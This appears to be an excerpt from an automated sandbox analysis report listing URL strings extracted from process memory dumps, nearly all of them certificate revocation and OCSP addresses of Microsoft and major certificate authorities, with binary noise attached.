"http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007204.00000001.190116.F9840000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcsle" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erise0q" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007204.00000001.190116.FBAD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?umnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007204.00000001.190116.FBB66000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007204.00000001.190116.FBB66000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007204.00000001.190116.FBB66000.00000004.mdmp") Found URL "http://wcallsite.targetcallsite.targetcps/defacallsite.targetlambda_methodcallsite.targetf&q" - Source: "00000000-00007204.00000001.190116.FC2DC000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0at-kt20170929063406.466z0washington1redmon%microsoft" - Source: "00000000-00007204.00000001.190116.FC2DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/prts/m01.cictiroso1'0%2d15me-s0\6z" - Source: "00000000-00007204.00000001.190116.FC2DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007204.00000001.190116.FC339000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr